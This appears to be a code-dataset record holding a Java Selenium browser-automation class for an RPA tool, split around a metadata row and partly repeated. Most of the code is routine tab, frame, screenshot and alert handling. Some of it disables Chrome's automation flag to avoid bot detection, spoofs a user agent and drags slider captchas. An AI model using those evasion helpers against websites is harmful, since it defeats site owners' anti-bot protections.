options.addArguments("--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36");
options.addArguments("user-data-dir=" + userProfile);
options.addArguments("--remote-debugging-port=9889"); // 设置远程调试端口
}
// 创建 ChromeDriver 实例
WebDriver originalDriver = new ChromeDriver(options);
driver = new EventFiringWebDriver(originalDriver);
// 注册自定义监听器
driver.register(new CustomEventListener());
actions = new Actions(driver);
js = (JavascriptExecutor) driver;
initBrowserZoom();
}
/**
* 初始化浏览器缩放比例
*/
public void initBrowserZoom() {
// 模拟按下 Ctrl 键并同时按下 0 键
actions.keyDown(Keys.CONTROL).sendKeys("0").perform();
}
/**
* 关闭浏览器
*/
public void closeBrowser() {
if (driver != null) {
driver.quit();
}
}
/**
* 打开网页
*
* @param url
*/
public void openUrl(String url) {
if (driver == null) {
initChrome();
}
if (switchTabByUrl(url)) {
log.info("检测到该地址已经打开,无需重复打开");
} else {
driver.get(url);
}
}
/**
* 在新标签页中打开网页
*
* @param url 要打开的网页URL
*/
public void openUrlInNewTab(String url) {
if (driver == null) {
initChrome();
}
// 打开一个新标签页并切换到该标签页
newTab();
// 在新标签页中打开网页
driver.get(url);
}
/**
* 网页元素截屏
*
* @param by the locating mechanism for the web element
* @return the file path of the captured screenshot
*/
public String captureElementScreenshot(By by) {
try {
String path = RPAConfig.cachePath + File.separator + System.currentTimeMillis() + ".png";
// 定位要截图的元素,可以使用元素的XPath、CSS选择器等方法
WebElement element = getElement(by);
// 截取指定元素的截图
File screenshot = ((TakesScreenshot) element).getScreenshotAs(OutputType.FILE);
//FileUtils.copyFile(screenshot, new File("ele ment_screenshot.png"));
FileUtil.copyFile(screenshot, new File(path));
return path;
} catch (Exception e) {
log.error("网页元素截屏失败{}", e.getMessage());
return "";
}
}
/**
* 网页元素截屏
*
* @param by the locating mechanism for the web element
* @param path the file path to save the screenshot
* @return the file path of the captured screenshot
*/
public String captureElementScreenshot(By by, String path) {
try {
// 定位要截图的元素,可以使用元素的XPath、CSS选择器等方法
WebElement element = getElement(by);
// 截取指定元素的截图
File screenshot = ((TakesScreenshot) element).getScreenshotAs(OutputType.FILE);
//FileUtils.copyFile(screenshot, new File("ele ment_screenshot.png"));
FileUtil.copyFile(screenshot, new File(path));
return path;
} catch (Exception e) {
log.error("网页元素截屏失败{}", e.getMessage());
return "";
}
}
/**
* 截取整个浏览器页面的截图
*
* @return 截图的文件路径
*/
public String captureFullPageScreenshot() {
try {
String path = RPAConfig.cachePath + File.separator + System.currentTimeMillis() + ".png";
// 截取整个浏览器页面的截图
File screenshot = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE);
FileUtil.copyFile(screenshot, new File(path));
return path;
} catch (Exception e) {
log.error("截取整个浏览器页面的截图失败: {}", e.getMessage());
return "";
}
}
/**
* 截取整个浏览器页面的截图并保存至指定路径
*
* @param path 指定的文件路径
* @return 截图的文件路径
*/
public String captureFullPageScreenshot(String path) {
try {
// 截取整个浏览器页面的截图
File screenshot = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE);
FileUtil.copyFile(screenshot, new File(path));
return path;
} catch (Exception e) {
log.error("截取整个浏览器页面的截图并保存至指定路径失败: {}", e.getMessage());
return "";
}
}
/**
* 点击元素
*
* @param by
*/
public void clickElement(By by) {
//getElement(by).click();
actions.moveToElement(getElement(by)).click().perform();
// 行为最一致但感觉很奇怪,不应该使用js解决——是的,js无法实现点击蓝奏云的文件上传(不能精确触发)
//js.executeScript("arguments[0].click();", getElement(by));
// 切换最新的标签页
switchToNewTab();
}
/**
* 等待一定时间后点击指定元素
*
* @param by 用于定位元素的By对象
* @param waitTimeInSeconds 等待时间(秒)
*/
public void clickElement(By by, int waitTimeInSeconds) {
WebElement element = getElement(by, waitTimeInSeconds);
actions.moveToElement(element).click().perform();
}
/**
* 设置输入框元素的值
*
* @param by
* @param value
*/
public void setInputValue(By by, String value) {
WebElement element = getElement(by);
try {
actions.sendKeys(element, value).perform();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
/**
* 创建新的浏览器对象
*
* @return the WebDriver instance created
*/
public Browser newChrome() {
Browser browser = new Browser();
browser.initChrome();
return browser;
}
/**
* 选择下拉菜单中的选项 (对于非select标签,模拟两次元素点击即可)
*/
public void selectOptionInDropdown(By by, String optionText) {
WebElement element = getElement(by);
if (isSelectElement(element)) {
Select dropdown = new Select(element);
dropdown.selectByVisibleText(optionText);
} else {
throw new IllegalArgumentException("元素不是下拉菜单类型");
}
}
/**
* 判断元素是否是下拉菜单类型
*
* @param element
* @return
*/
private boolean isSelectElement(WebElement element) {
return element.getTagName().equalsIgnoreCase("select");
}
/**
* 获取网页元素对象(默认等待3s)
*
* @param by the locating mechanism
* @return the web element identified by the given By object
*/
public WebElement getElement(By by) {
try {
WebDriverWait wait = new WebDriverWait(driver, Duration.ofSeconds(3));
WebElement element = wait.until(ExpectedConditions.visibilityOfElementLocated(by));
return element;
} catch (Exception e) {
log.info("元素未找到: " + by.toString());
return null;
}
}
/**
* 获取多个网页元素对象列表(默认等待3s)
*
* @param by the locating mechanism
* @return the list of web elements identified by the given By object
*/
public List<WebElement> getElements(By by) {
try {
WebDriverWait wait = new WebDriverWait(driver, Duration.ofSeconds(3));
List<WebElement> elements = wait.until(ExpectedConditions.visibilityOfAllElementsLocatedBy(by));
return elements;
} catch (Exception e) {
log.info("元素未找到: " + by.toString());
return null;
}
}
/**
* 获取网页元素对象(指定等待时长)
*
* @param by the locating mechanism
* @param time the time to wait in seconds
* @return the located WebElement
*/
public WebElement getElement(By by, long time) {
try {
WebDriverWait wait = new WebDriverWait(driver, Duration.ofMillis(time));
WebElement element = wait.until(ExpectedConditions.visibilityOfElementLocated(by));
return element;
} catch (Exception e) {
log.info("元素未找到: " + by.toString());
return null;
}
}
/**
* 获取多个网页元素对象列表(指定等待时长)
*
* @param by the locating mechanism
* @return the list of web elements identified by the given By object
*/
public List<WebElement> getElements(By by, long time) {
try {
WebDriverWait wait = new WebDriverWait(driver, Duration.ofMillis(time));
List<WebElement> elements = wait.until(ExpectedConditions.visibilityOfAllElementsLocatedBy(by));
return elements;
} catch (Exception e) {
log.info("元素未找到: " + by.toString());
return null;
}
}
/**
* 切换到指定标签的Frame
*
* @param FrameFlag name,id
* @return
*/
public boolean switchToFrame(String FrameFlag) {
try {
driver.switchTo().frame(FrameFlag);
return true;
} catch (Exception e) {
log.error("iframe切换失败,原因:%s", e.getMessage());
return false;
}
}
/**
* 切换到指定的Frame
*
* @param FrameIndex Frame的顺序
* @return
*/
public boolean switchToFrame(int FrameIndex) {
try {
driver.switchTo().frame(FrameIndex);
return true;
} catch (Exception e) {
log.error("iframe切换失败,原因:%s", e.getMessage());
return false;
}
}
/**
* 切换到指定的Frame
*
* @param by 定位选择器
* @return
*/
public boolean switchToFrame(By by) {
try {
WebElement FrameElement = getElement(by);
driver.switchTo().frame(FrameElement);
log.info("Frame切换成功");
return true;
} catch (Exception e) {
log.error("iframe切换失败,原因:%s", e.getMessage());
return false;
}
}
/**
* 切换到父级Frame
*
* @return
*/
public boolean switchToParentFrame() {
try {
driver.switchTo().parentFrame();
return true;
} catch (Exception e) {
log.error("iframe切换失败,原因:%s", e.getMessage());
return false;
}
}
/**
* 切换顶层容器:最外层的html内部
*
* @return
*/
public boolean switchToDefaultContent() {
try {
driver.switchTo().defaultContent();
log.info("Frame切换回顶层容器");
return true;
} catch (Exception e) {
log.error("iframe切换失败,原因:%s", e.getMessage());
return false;
}
}
/**
* 打开新的标签页
*/
public void newTab() {
js.executeScript("window.open();");
switchToNewTab();
}
/**
* 关闭当前标签页
*/
public void closeTab() {
js.executeScript("window.close();");
}
/**
* 关闭指定标签页
*
* @param tabName 要关闭的标签页名称
*/
public boolean closeTabByTitle(String tabName) {
// 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口
String currentHandle = driver.getWindowHandle();
// 获取当前浏览器的所有窗口句柄
Set<String> handles = driver.getWindowHandles();
// 遍历窗口句柄
Iterator<String> it = handles.iterator();
while (it.hasNext()) {
String handle = it.next();
try {
driver.switchTo().window(handle); // 切换到窗口
String title = driver.getTitle(); // 获取窗口标题
// 如果标题与指定的标签页名称匹配,则执行关闭操作
if (title.equals(tabName)) {
driver.close(); // 关闭标签页
return true;
}
} catch (Exception e) {
log.error("寻找标签页出现异常:" + e.getMessage());
}
}
// 切换失败,恢复到原来的窗口
driver.switchTo().window(currentHandle);
log.info("未找到指定标题的标签页");
return false;
}
/**
* 关闭具有指定URL前缀的标签页
*
* @param urlPrefix 要关闭的标签页URL前缀
*/
public boolean closeTabByUrlPrefix(String urlPrefix) {
// 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口
String currentHandle = driver.getWindowHandle();
// 获取当前浏览器的所有窗口句柄
Set<String> handles = driver.getWindowHandles();
// 遍历窗口句柄
Iterator<String> it = handles.iterator();
while (it.hasNext()) {
String handle = it.next();
try {
driver.switchTo().window(handle); // 切换到窗口
String currentUrl = driver.getCurrentUrl(); // 获取当前窗口的URL
// 如果当前URL以指定前缀开头,则执行关闭操作
if (currentUrl.startsWith(urlPrefix)) {
driver.close(); // 关闭标签页
return true;
}
} catch (Exception e) {
log.error("寻找标签页出现异常:" + e.getMessage());
}
}
// 切换失败,恢复到原来的窗口
driver.switchTo().window(currentHandle);
log.info("未找到具有指定URL前缀的标签页");
return false;
}
/**
* 关闭除当前标签页以外的所有标签页
*/
public void closeAllTabsExceptCurrent() {
// 获取当前窗口句柄
String currentHandle = driver.getWindowHandle();
try {
// 获取所有窗口句柄
Set<String> handles = driver.getWindowHandles();
// 遍历窗口句柄
for (String handle : handles) {
// 如果不是当前窗口句柄,则关闭该窗口
if (!handle.equals(currentHandle)) {
driver.switchTo().window(handle); // 切换到该窗口
driver.close(); // 关闭窗口
}
}
// 切换回当前窗口句柄
driver.switchTo().window(currentHandle);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
/**
* 切换到新打开的标签页
*/
private void switchToNewTab() {
// 获取所有窗口的句柄
for (String handle : driver.getWindowHandles()) {
// 切换到新标签页的句柄
driver.switchTo().window(handle);
}
}
/**
* 切换到指定标题的标签页
*
* @param tabTitle 标签页标题
*/
public Boolean switchTabByTitle(String tabTitle) {
//js.executeScript("window.switch('" + tabName + "');");
if (StringUtils.isEmpty(tabTitle)) {
return false;
}
if (getCurrentPageTitle().contains(tabTitle)) {
return true;
}
//获取当前浏览器的所有窗口句柄
Set<String> handles = driver.getWindowHandles();
// 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口
String currentHandle = driver.getWindowHandle();
Iterator<String> it = handles.iterator();
while (it.hasNext()) {
String next = it.next();
try {
driver.switchTo().window(next);//切换到新窗口
initBrowserZoom();
if (getCurrentPageTitle().contains(tabTitle)) {
log.info("切换到标签页(title):" + driver.getTitle());
return true;
}
} catch (Exception e) {
log.info("寻找标签页出现异常:" + e.getMessage());
}
}
// 切换失败,恢复到原来的窗口
driver.switchTo().window(currentHandle);
log.info("未找到指定标题的标签页");
return false;
}
/**
* 获取当前页的标题
*
* @return
*/
public String getCurrentPageTitle() {
String title = driver.getTitle();
log.info("当前页标题:" + title);
return StringUtils.isNotBlank(title) ? title : "null";
}
/**
* 获取当前页URL
*
* @return
*/
public String getCurrentPageUrl() {
String url = driver.getCurrentUrl();
return StringUtils.isNotBlank(url) ? url : "null";
}
/**
* 切换到具备特定元素的窗体
*
* @param by
*/
public boolean switchTabByElement(By by) {
// 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口
String currentHandle = driver.getWindowHandle();
try {
if (getElement(by, 2) != null) {
return true;
}
//获取当前浏览器的所有窗口句柄
Set<String> handles = driver.getWindowHandles();//获取所有窗口句柄
Iterator<String> it = handles.iterator();
while (it.hasNext()) {
String next = it.next();
try {
driver.switchTo().window(next);//切换到新窗口
initBrowserZoom();
if (checkElement(by)) {
return true;
}
} catch (Exception e) {
log.error("寻找标签页出现异常:" + next);
}
}
} catch (Exception e) {
log.error("窗体切换失败!!!!");
return false;
}
// 切换失败,恢复到原来的窗口
driver.switchTo().window(currentHandle);
log.info("未找到具有指定URL前缀的标签页");
return false;
}
/**
* 切换到具有指定URL前缀的标签页
*
* @param urlPrefix URL前缀
* @return 如果成功切换到具有指定URL前缀的标签页,则返回true;否则返回false
*/
public boolean switchTabByUrlPrefix(String urlPrefix) {
// 获取当前浏览器的所有窗口句柄
Set<String> handles = driver.getWindowHandles();
// 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口
String currentHandle = driver.getWindowHandle();
// 遍历窗口句柄
for (String handle : handles) {
try {
driver.switchTo().window(handle); // 切换到窗口
String currentUrl = driver.getCurrentUrl(); // 获取当前窗口的URL
// 如果当前URL以指定前缀开头,则返回true
if (currentUrl.startsWith(urlPrefix)) {
return true;
}
} catch (Exception e) {
log.error("寻找标签页出现异常:" + e.getMessage());
}
}
// 切换失败,恢复到原来的窗口
driver.switchTo().window(currentHandle);
log.info("未找到具有指定URL前缀的标签页");
return false;
}
public boolean switchTabByUrl(String url) {
// 获取当前浏览器的所有窗口句柄
Set<String> handles = driver.getWindowHandles();
// 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口
String currentHandle = driver.getWindowHandle();
// 遍历窗口句柄
for (String handle : handles) {
try {
driver.switchTo().window(handle); // 切换到窗口
String currentUrl = driver.getCurrentUrl(); // 获取当前窗口的URL
// 如果当前URL以指定前缀开头,则返回true
if (url.equals(currentUrl)) {
return true;
}
} catch (Exception e) {
log.error("寻找标签页出现异常:" + e.getMessage());
}
}
// 切换失败,恢复到原来的窗口
driver.switchTo().window(currentHandle);
log.info("未找到指定URL的标签页");
return false;
}
/**
* 检查页面是否包含指定的元素
*
* @param seletor
* @return
*/
public boolean checkElement(By seletor) {
try {
// todo 检验返回值,还是抛异常
getElement(seletor, 200);
log.info("checkElement -> true:" + seletor.toString());
return true;
} catch (Exception e) {
log.info("checkElement -> false:" + seletor.toString());
return false;
}
}
/**
* 鼠标移动到指定元素
*
* @param seletor
*/
public void moveMouseToElement(By seletor) {
WebElement element = getElement(seletor);
actions.moveToElement(element).perform();
}
/**
* 模拟鼠标长按指定元素
*
* @param by
* @param durationInMilliseconds
*/
public void pressElement(By by, long durationInMilliseconds) {
WebElement element = getElement(by);
actions.clickAndHold(element).pause(durationInMilliseconds).release().perform();
}
/**
* 拖动滑块验证元素(简单的拖动滑块验证,部分简单滑块验证可用;提供思路仅供参考)
*
* @param sliderLocator 滑块元素的定位器
* @param dragAreaLocator 拖动区域元素的定位器
*/
public void dragSlider(By sliderLocator, By dragAreaLocator) {
// 定位滑块和拖动区域
WebElement slider = driver.findElement(sliderLocator);
WebElement dragArea = driver.findElement(dragAreaLocator);
// 获取滑块和拖动区域的宽度
int sliderWidth = Integer.parseInt(slider.getCssValue("width").replace("px", ""));
int dragAreaWidth = Integer.parseInt(dragArea.getCssValue("width").replace("px", ""));
// 计算需要移动的偏移量,这里简化为拖动区域的宽度减去滑块的宽度,加上一小部分额外距离以确保滑块完全移动到末端
int offset = dragAreaWidth - sliderWidth + 5;
// 执行拖动操作
actions.clickAndHold(slider)
.moveByOffset(offset, 0)
.release()
.perform();
}
/**
* 拖动元素到指定位置
*
* @param elementLocator 拖动元素的定位表达式
* @param xOffset
* @param yOffset
*/
public void dragElementToOffset(By elementLocator, int xOffset, int yOffset) {
// 定位要拖动的元素
WebElement element = driver.findElement(elementLocator);
// 执行长按拖动操作
actions.clickAndHold(element)
.moveByOffset(xOffset, yOffset)
.release()
.perform();
}
/**
* 等待加载弹出框
*
* @param timeInSeconds 等待时间(秒)
* @return 弹出框对象或null
*/
public Alert waitForAlert(int timeInSeconds) {
long startTime = System.currentTimeMillis() + (timeInSeconds * 1000);
while (System.currentTimeMillis() < startTime) {
Alert alert = getAlert();
if (alert != null) {
return alert;
}
}
return null;
}
/**
* 获取浏览器弹窗
*
* @return 弹出框对象或null
*/
public Alert getAlert() {
try {
Alert alert = driver.switchTo().alert();
// 切换到默认内容
driver.switchTo().defaultContent();
return alert;
} catch (Exception ignored) {
return null;
}
}
/**
* 处理prompt弹出框
*
* @param content 输入的内容
*/
public void handlePrompt(String content) {
try {
Alert alert = waitForAlert(3);
if (alert != null) {
alert.sendKeys(content);
alert.accept();
log.info("prompt弹窗处理成功");
} else {
log.info("未找到prompt弹窗");
}
} catch (Exception e) {
log.info("处理prompt弹窗失败: " + e.getMessage());
}
}
/**
* 关闭浏览器弹窗
*
* @return 弹窗文本内容
*/
public String closeAlert() {
try {
Alert alert = getAlert();
alert.accept();
return alert.getText();
} catch (Exception e) {
log.info("关闭alert弹窗失败: " + e.getMessage());
return "";
}
}
/**
* 滑动到页面顶部
*/
public void scrollToTopByJs() {
js.executeScript("window.scrollTo(0, 0)");
}
/**
* 滑动到页面底部
*/
public void scrollToBottomByJs() {
js.executeScript("window.scrollTo(0, document.body.scrollHeight)");
}
/**
* 向下滑动一定距离
*
* @param pixels
*/
public void scrollDownByJs(int pixels) {
js.executeScript("window.scrollBy(0, " + pixels + ")");
}
/**
* 向上滑动一定距离
*
* @param pixels
*/
public void scrollUpByJs(int pixels) {
js.executeScript("window.scrollBy(0, -" + pixels + ")");
}
// todo 下载、上床,和win的句柄交互实现
} | Drean21/rpa | template/src/main/java/com/cy/rpa/behavior/web/Browser.java | 6,856 | // 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口 | line_comment | zh-cn | package com.cy.rpa.behavior.web;
import cn.hutool.core.io.FileUtil;
import com.cy.rpa.config.RPAConfig;
import com.cy.rpa.behavior.web.listeners.CustomEventListener;
import com.cy.rpa.toolkit.CmdUtil;
import io.github.bonigarcia.wdm.WebDriverManager;
import lombok.Data;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.openqa.selenium.*;
import org.openqa.selenium.chrome.ChromeDriver;
import org.openqa.selenium.chrome.ChromeOptions;
import org.openqa.selenium.interactions.Actions;
import org.openqa.selenium.support.events.EventFiringWebDriver;
import org.openqa.selenium.support.ui.ExpectedConditions;
import org.openqa.selenium.support.ui.Select;
import org.openqa.selenium.support.ui.WebDriverWait;
import java.io.File;
import java.time.Duration;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
/**
* Browser 网页自动化根类
*
* @author Liang Zhaoyuan
* @version 2024/02/01 19:07
**/
@Data
@Slf4j
public class Browser {
/*浏览器驱动*/
private EventFiringWebDriver driver;
/*js执行器*/
private JavascriptExecutor js;
/*actions类 链式网页操作*/
private Actions actions;
/**
* 初始化谷歌浏览器
*/
public void initChrome() {
String userProfile = RPAConfig.envPath + File.separator + "browser\\User Data";
//设置 ChromeDriver 路径
String chromeDriverPath = RPAConfig.envPath + File.separator + "browser\\drivers\\chromedriver.exe";
// 设置 Chrome 可执行文件路径
String chromePath = RPAConfig.envPath + File.separator + "browser\\chrome-win64\\chrome.exe";
//设置远程调试地址和端口
String ipAddress = "localhost";
int port = 9889;
String debuggerAddress = ipAddress + ":" + port;
//是否初始化
boolean isInitialized = true;
ChromeOptions options = new ChromeOptions();
if (FileUtil.exist(chromeDriverPath) && FileUtil.exist(chromePath) && FileUtil.exist(userProfile)) {
System.setProperty("webdriver.chrome.driver", chromeDriverPath);
options.setBinary(chromePath);
} else {
log.warn("路径下内置的谷歌浏览器驱动不存在!正在尝试使用WebDriverManager获取驱动...");
WebDriverManager.chromedriver().setup();
}
if (CmdUtil.isPortInUse(9889)) {
isInitialized = false;
try {
log.info("端口9889被占用,尝试使用已启动的Chrome浏览器...");
options.setExperimentalOption("debuggerAddress", debuggerAddress);
} catch (Exception e) {
log.info("尝试使用已启动的Chrome浏览器失败,正在尝试关闭占用端口的Chrome进程...");
CmdUtil.closeProcessOnPort(port);
log.info("占用端口的Chrome进程已关闭,正在尝试重新启动Chrome浏览器...");
isInitialized = true;
}
}
if (isInitialized) {
// 添加其他 ChromeOptions 设置
options.addArguments("--start-maximized"); // 最大化窗口
// options.addArguments("--headless"); // 无头模式,如果需要(更容易被检测)
options.addArguments("--disable-blink-features=AutomationControlled");//开发者模式可以减少一些网站对自动化脚本的检测。
//options.addArguments("--disable-gpu"); // 禁用GPU加速
options.addArguments("--remote-allow-origins=*"); // 解决 403 出错问题,允许远程连接
options.addArguments("--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36");
options.addArguments("user-data-dir=" + userProfile);
options.addArguments("--remote-debugging-port=9889"); // 设置远程调试端口
}
// 创建 ChromeDriver 实例
WebDriver originalDriver = new ChromeDriver(options);
driver = new EventFiringWebDriver(originalDriver);
// 注册自定义监听器
driver.register(new CustomEventListener());
actions = new Actions(driver);
js = (JavascriptExecutor) driver;
initBrowserZoom();
}
/**
* 初始化浏览器缩放比例
*/
public void initBrowserZoom() {
// 模拟按下 Ctrl 键并同时按下 0 键
actions.keyDown(Keys.CONTROL).sendKeys("0").perform();
}
/**
* 关闭浏览器
*/
public void closeBrowser() {
if (driver != null) {
driver.quit();
}
}
/**
* 打开网页
*
* @param url
*/
public void openUrl(String url) {
if (driver == null) {
initChrome();
}
if (switchTabByUrl(url)) {
log.info("检测到该地址已经打开,无需重复打开");
} else {
driver.get(url);
}
}
/**
* 在新标签页中打开网页
*
* @param url 要打开的网页URL
*/
public void openUrlInNewTab(String url) {
if (driver == null) {
initChrome();
}
// 打开一个新标签页并切换到该标签页
newTab();
// 在新标签页中打开网页
driver.get(url);
}
/**
* 网页元素截屏
*
* @param by the locating mechanism for the web element
* @return the file path of the captured screenshot
*/
public String captureElementScreenshot(By by) {
try {
String path = RPAConfig.cachePath + File.separator + System.currentTimeMillis() + ".png";
// 定位要截图的元素,可以使用元素的XPath、CSS选择器等方法
WebElement element = getElement(by);
// 截取指定元素的截图
File screenshot = ((TakesScreenshot) element).getScreenshotAs(OutputType.FILE);
//FileUtils.copyFile(screenshot, new File("ele ment_screenshot.png"));
FileUtil.copyFile(screenshot, new File(path));
return path;
} catch (Exception e) {
log.error("网页元素截屏失败{}", e.getMessage());
return "";
}
}
/**
* 网页元素截屏
*
* @param by the locating mechanism for the web element
* @param path the file path to save the screenshot
* @return the file path of the captured screenshot
*/
public String captureElementScreenshot(By by, String path) {
try {
// 定位要截图的元素,可以使用元素的XPath、CSS选择器等方法
WebElement element = getElement(by);
// 截取指定元素的截图
File screenshot = ((TakesScreenshot) element).getScreenshotAs(OutputType.FILE);
//FileUtils.copyFile(screenshot, new File("ele ment_screenshot.png"));
FileUtil.copyFile(screenshot, new File(path));
return path;
} catch (Exception e) {
log.error("网页元素截屏失败{}", e.getMessage());
return "";
}
}
/**
* 截取整个浏览器页面的截图
*
* @return 截图的文件路径
*/
public String captureFullPageScreenshot() {
try {
String path = RPAConfig.cachePath + File.separator + System.currentTimeMillis() + ".png";
// 截取整个浏览器页面的截图
File screenshot = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE);
FileUtil.copyFile(screenshot, new File(path));
return path;
} catch (Exception e) {
log.error("截取整个浏览器页面的截图失败: {}", e.getMessage());
return "";
}
}
/**
* 截取整个浏览器页面的截图并保存至指定路径
*
* @param path 指定的文件路径
* @return 截图的文件路径
*/
public String captureFullPageScreenshot(String path) {
try {
// 截取整个浏览器页面的截图
File screenshot = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE);
FileUtil.copyFile(screenshot, new File(path));
return path;
} catch (Exception e) {
log.error("截取整个浏览器页面的截图并保存至指定路径失败: {}", e.getMessage());
return "";
}
}
/**
* 点击元素
*
* @param by
*/
public void clickElement(By by) {
//getElement(by).click();
actions.moveToElement(getElement(by)).click().perform();
// 行为最一致但感觉很奇怪,不应该使用js解决——是的,js无法实现点击蓝奏云的文件上传(不能精确触发)
//js.executeScript("arguments[0].click();", getElement(by));
// 切换最新的标签页
switchToNewTab();
}
/**
* 等待一定时间后点击指定元素
*
* @param by 用于定位元素的By对象
* @param waitTimeInSeconds 等待时间(秒)
*/
public void clickElement(By by, int waitTimeInSeconds) {
WebElement element = getElement(by, waitTimeInSeconds);
actions.moveToElement(element).click().perform();
}
/**
* 设置输入框元素的值
*
* @param by
* @param value
*/
public void setInputValue(By by, String value) {
WebElement element = getElement(by);
try {
actions.sendKeys(element, value).perform();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
/**
* 创建新的浏览器对象
*
* @return the WebDriver instance created
*/
public Browser newChrome() {
Browser browser = new Browser();
browser.initChrome();
return browser;
}
/**
* 选择下拉菜单中的选项 (对于非select标签,模拟两次元素点击即可)
*/
public void selectOptionInDropdown(By by, String optionText) {
WebElement element = getElement(by);
if (isSelectElement(element)) {
Select dropdown = new Select(element);
dropdown.selectByVisibleText(optionText);
} else {
throw new IllegalArgumentException("元素不是下拉菜单类型");
}
}
/**
* 判断元素是否是下拉菜单类型
*
* @param element
* @return
*/
private boolean isSelectElement(WebElement element) {
return element.getTagName().equalsIgnoreCase("select");
}
/**
* 获取网页元素对象(默认等待3s)
*
* @param by the locating mechanism
* @return the web element identified by the given By object
*/
public WebElement getElement(By by) {
try {
WebDriverWait wait = new WebDriverWait(driver, Duration.ofSeconds(3));
WebElement element = wait.until(ExpectedConditions.visibilityOfElementLocated(by));
return element;
} catch (Exception e) {
log.info("元素未找到: " + by.toString());
return null;
}
}
/**
* 获取多个网页元素对象列表(默认等待3s)
*
* @param by the locating mechanism
* @return the list of web elements identified by the given By object
*/
public List<WebElement> getElements(By by) {
try {
WebDriverWait wait = new WebDriverWait(driver, Duration.ofSeconds(3));
List<WebElement> elements = wait.until(ExpectedConditions.visibilityOfAllElementsLocatedBy(by));
return elements;
} catch (Exception e) {
log.info("元素未找到: " + by.toString());
return null;
}
}
/**
* 获取网页元素对象(指定等待时长)
*
* @param by the locating mechanism
* @param time the time to wait in seconds
* @return the located WebElement
*/
public WebElement getElement(By by, long time) {
try {
WebDriverWait wait = new WebDriverWait(driver, Duration.ofMillis(time));
WebElement element = wait.until(ExpectedConditions.visibilityOfElementLocated(by));
return element;
} catch (Exception e) {
log.info("元素未找到: " + by.toString());
return null;
}
}
/**
* 获取多个网页元素对象列表(指定等待时长)
*
* @param by the locating mechanism
* @return the list of web elements identified by the given By object
*/
public List<WebElement> getElements(By by, long time) {
try {
WebDriverWait wait = new WebDriverWait(driver, Duration.ofMillis(time));
List<WebElement> elements = wait.until(ExpectedConditions.visibilityOfAllElementsLocatedBy(by));
return elements;
} catch (Exception e) {
log.info("元素未找到: " + by.toString());
return null;
}
}
/**
* 切换到指定标签的Frame
*
* @param FrameFlag name,id
* @return
*/
public boolean switchToFrame(String FrameFlag) {
try {
driver.switchTo().frame(FrameFlag);
return true;
} catch (Exception e) {
log.error("iframe切换失败,原因:%s", e.getMessage());
return false;
}
}
/**
* 切换到指定的Frame
*
* @param FrameIndex Frame的顺序
* @return
*/
public boolean switchToFrame(int FrameIndex) {
try {
driver.switchTo().frame(FrameIndex);
return true;
} catch (Exception e) {
log.error("iframe切换失败,原因:%s", e.getMessage());
return false;
}
}
/**
* 切换到指定的Frame
*
* @param by 定位选择器
* @return
*/
public boolean switchToFrame(By by) {
try {
WebElement FrameElement = getElement(by);
driver.switchTo().frame(FrameElement);
log.info("Frame切换成功");
return true;
} catch (Exception e) {
log.error("iframe切换失败,原因:%s", e.getMessage());
return false;
}
}
/**
* 切换到父级Frame
*
* @return
*/
public boolean switchToParentFrame() {
try {
driver.switchTo().parentFrame();
return true;
} catch (Exception e) {
log.error("iframe切换失败,原因:%s", e.getMessage());
return false;
}
}
/**
* 切换顶层容器:最外层的html内部
*
* @return
*/
public boolean switchToDefaultContent() {
try {
driver.switchTo().defaultContent();
log.info("Frame切换回顶层容器");
return true;
} catch (Exception e) {
log.error("iframe切换失败,原因:%s", e.getMessage());
return false;
}
}
/**
* 打开新的标签页
*/
public void newTab() {
js.executeScript("window.open();");
switchToNewTab();
}
/**
* 关闭当前标签页
*/
public void closeTab() {
js.executeScript("window.close();");
}
/**
* 关闭指定标签页
*
* @param tabName 要关闭的标签页名称
*/
public boolean closeTabByTitle(String tabName) {
// 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口
String currentHandle = driver.getWindowHandle();
// 获取当前浏览器的所有窗口句柄
Set<String> handles = driver.getWindowHandles();
// 遍历窗口句柄
Iterator<String> it = handles.iterator();
while (it.hasNext()) {
String handle = it.next();
try {
driver.switchTo().window(handle); // 切换到窗口
String title = driver.getTitle(); // 获取窗口标题
// 如果标题与指定的标签页名称匹配,则执行关闭操作
if (title.equals(tabName)) {
driver.close(); // 关闭标签页
return true;
}
} catch (Exception e) {
log.error("寻找标签页出现异常:" + e.getMessage());
}
}
// 切换失败,恢复到原来的窗口
driver.switchTo().window(currentHandle);
log.info("未找到指定标题的标签页");
return false;
}
/**
* 关闭具有指定URL前缀的标签页
*
* @param urlPrefix 要关闭的标签页URL前缀
*/
public boolean closeTabByUrlPrefix(String urlPrefix) {
// 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口
String currentHandle = driver.getWindowHandle();
// 获取当前浏览器的所有窗口句柄
Set<String> handles = driver.getWindowHandles();
// 遍历窗口句柄
Iterator<String> it = handles.iterator();
while (it.hasNext()) {
String handle = it.next();
try {
driver.switchTo().window(handle); // 切换到窗口
String currentUrl = driver.getCurrentUrl(); // 获取当前窗口的URL
// 如果当前URL以指定前缀开头,则执行关闭操作
if (currentUrl.startsWith(urlPrefix)) {
driver.close(); // 关闭标签页
return true;
}
} catch (Exception e) {
log.error("寻找标签页出现异常:" + e.getMessage());
}
}
// 切换失败,恢复到原来的窗口
driver.switchTo().window(currentHandle);
log.info("未找到具有指定URL前缀的标签页");
return false;
}
/**
* 关闭除当前标签页以外的所有标签页
*/
